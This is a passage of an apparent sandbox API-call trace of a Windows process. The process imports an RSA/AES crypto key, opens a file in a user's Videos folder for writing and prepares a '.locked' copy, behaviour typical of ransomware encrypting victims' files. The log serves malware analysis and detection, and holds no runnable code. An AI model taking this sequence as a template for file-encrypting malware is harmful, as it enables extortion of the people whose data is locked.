OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.218] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0139.218] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0139.218] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.218] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0139.218] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.218] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0139.218] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0139.218] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.218] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0139.218] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.218] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0139.218] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0139.218] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.218] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0139.218] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.219] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0139.219] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0139.219] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.219] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0139.219] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.219] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0139.219] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0139.219] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.219] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0139.219] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.219] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0139.219] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0139.219] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.219] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0139.219] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0139.219] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0139.219] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0139.219] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0139.219] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0139.219] SystemFunction041 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.220] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0139.220] SystemFunction040 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.220] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0139.220] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0139.220] SystemFunction041 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.220] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0139.220] SystemFunction040 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.220] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0139.220] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0139.220] SystemFunction041 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.220] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0139.220] SystemFunction040 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.220] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0139.220] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0139.220] SystemFunction041 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.220] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0139.220] SystemFunction040 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.220] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0139.220] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0139.220] SystemFunction041 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.221] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0139.256] SystemFunction040 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.256] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0139.256] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0139.256] SystemFunction041 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.256] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0139.256] SystemFunction040 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.256] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0139.257] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0139.257] SystemFunction041 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.257] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0139.257] SystemFunction040 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.257] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0139.257] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0139.257] SystemFunction041 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.258] SystemFunction040 (in: Memory=0x8ebf81c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf81c) returned 0x0 [0139.258] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0139.258] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0139.258] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0139.258] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0139.258] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0139.259] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0139.259] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0139.259] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0139.259] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.259] SystemFunction041 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0139.259] SystemFunction040 (in: Memory=0x8e30a1c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30a1c) returned 0x0 [0139.260] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x42ebcb0) returned 1 [0139.260] CryptImportKey (in: hProv=0x42ebcb0, pbData=0x6abf254, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84ff8) returned 1 [0139.260] CryptContextAddRef (hProv=0x42ebcb0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0139.260] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.260] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.261] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb2, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.261] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.262] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\m_1jy6jg.mp4")) returned 0x20 [0139.262] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\m_1jy6jg.mp4")) returned 0x20 [0139.262] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", lpFilePart=0x0) returned 0x29 [0139.262] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", lpFilePart=0x0) returned 0x29 [0139.262] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.262] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", lpFilePart=0x0) returned 0x29 [0139.262] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", lpFilePart=0x0) returned 0x29 [0139.262] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0139.263] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.263] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb3, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.263] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.263] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4", lpFilePart=0x0) returned 0x29 [0139.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0139.263] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\m_1jy6jg.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0139.263] GetFileType (hFile=0x778) returned 0x1 [0139.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0139.263] GetFileType (hFile=0x778) returned 0x1 [0139.264] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.264] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0139.264] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.264] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb4, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.264] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb5, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0139.264] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\m_1Jy6jg.mp4.locked", lpFilePart=0x0) returned 0x30 [0139.264] SetThreadErrorMode (dwNewMode=0x1, 